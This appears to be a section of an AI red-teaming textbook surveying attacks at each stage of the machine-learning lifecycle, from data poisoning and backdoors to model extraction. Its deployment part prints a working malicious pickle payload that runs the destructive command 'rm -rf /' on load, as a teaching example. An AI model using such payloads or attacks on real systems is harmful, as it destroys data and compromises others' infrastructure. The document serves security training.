2.1.3 Model Lifecycle and Deployment Process

Understanding the journey from raw data to a production-ready model is fundamental. Each stage presents unique opportunities for attack, from poisoning the initial data source to manipulating the final deployed API. Thinking of a model as a static, monolithic artifact is a critical mistake. Instead, you must view it as a dynamic entity shaped by its environment, its data, and the infrastructure that supports it.

The Stages of the ML Lifecycle: An Attacker’s Guide

While specific implementations vary, the ML lifecycle generally follows a cyclical pattern. We will examine each stage through an offensive lens, highlighting where you should focus your testing efforts.

1. Data Collection & Preparation

This is the foundation. Garbage in, garbage out. If you can compromise the data, you can compromise the model before a single line of training code is run. Look for weaknesses in data pipelines, third-party data sources, and the labeling process. Can you inject mislabeled or malicious data? This is the essence of a data poisoning attack. Even subtle biases introduced here can be amplified by the model, leading to fairness and performance issues that can be exploited.

2. Model Training & Development

The training environment itself is a high-value target. It often contains sensitive data, proprietary code, and powerful computational resources. Your objectives here include:

• Environment Compromise: Gain access to the training infrastructure (e.g., cloud instances, on-premise servers). Can you exfiltrate the training data or the model architecture?
• Backdoor Insertion (Trojaning): If you can influence the training process, you can insert a “trojan.” This is a hidden trigger in the model that causes it to misbehave in a specific, attacker-controlled way. For example, a facial recognition model could be trojaned to always identify a specific person as “authorized,” regardless of their actual identity.
• Supply Chain Attacks: Modern ML relies on a vast ecosystem of open-source libraries (TensorFlow, PyTorch, scikit-learn). A compromised library can lead to a compromised model.

3. Model Evaluation & Validation

This stage is meant to be a quality gate, but it’s often flawed. Developers test against a specific validation dataset. If you can understand the limitations of this dataset, you can craft inputs that pass validation but fail spectacularly in the real world. This is a form of evasion attack aimed at the testing process itself. Ask questions like: Does the validation set cover adversarial examples? Is it representative of real-world data diversity? An over-optimized model that performs well on a narrow test set is brittle and vulnerable.

4. Deployment & Packaging

Once trained, a model is an artifact that must be packaged and shipped. This process is rife with traditional security vulnerabilities. The most common vector is insecure deserialization. Many ML frameworks use serialization formats like Python’s `pickle` to save and load models. A malicious `pickle` file can execute arbitrary code on the server that loads it.

import pickle
import os

# Attacker creates a malicious pickle file.
# This object, when unpickled, will execute a system command.
class MaliciousCode:
    def __reduce__(self):
        cmd = ('rm -rf /') # A destructive example command
        return (os.system, (cmd,))

malicious_payload = pickle.dumps(MaliciousCode())

# --- On the victim's server ---
# The server loads a model from an untrusted source.
untrusted_model_file = open('malicious_model.pkl', 'rb').read()

# DANGEROUS: Unpickling executes the embedded command.
model = pickle.loads(untrusted_model_file)
            

Beyond serialization, you should investigate the entire deployment pipeline: Docker container configurations, API gateway security, and the management of secrets like API keys and database credentials.

5. Inference & Monitoring

This is the “live” stage where the model interacts with users and data. It’s the most common target for black-box attacks. Your goals are to probe the deployed API to:

• Elicit Misbehavior (Evasion): Craft inputs that cause incorrect predictions.
• Extract Information (Inference Attacks): Query the model repeatedly to reconstruct parts of its training data (membership inference) or even the model’s architecture itself (model extraction).
• Denial of Service: Find inputs that cause excessive resource consumption, crashing the service.

Monitoring is the defensive counterpart. Poor monitoring means that a successful attack may go unnoticed for a long time.

6. Retraining & Maintenance

Many systems employ continuous learning, where the model is periodically retrained on new data. This creates a feedback loop that can be exploited. By slowly feeding the live model malicious data, an attacker can gradually “poison” the next generation of the model. This is a slow, insidious attack that can degrade performance or insert a backdoor over time. You should investigate how new data is collected, vetted, and used for retraining.

Summary Table: Lifecycle Vulnerabilities

The following table summarizes the key focus areas for a red teamer at each stage of the ML lifecycle.

By systematically analyzing each of these stages, you move beyond simply attacking a model’s API. You adopt a holistic approach, treating the entire AI system as your target. This lifecycle-aware methodology is what separates a basic penetration test from a true AI red team engagement.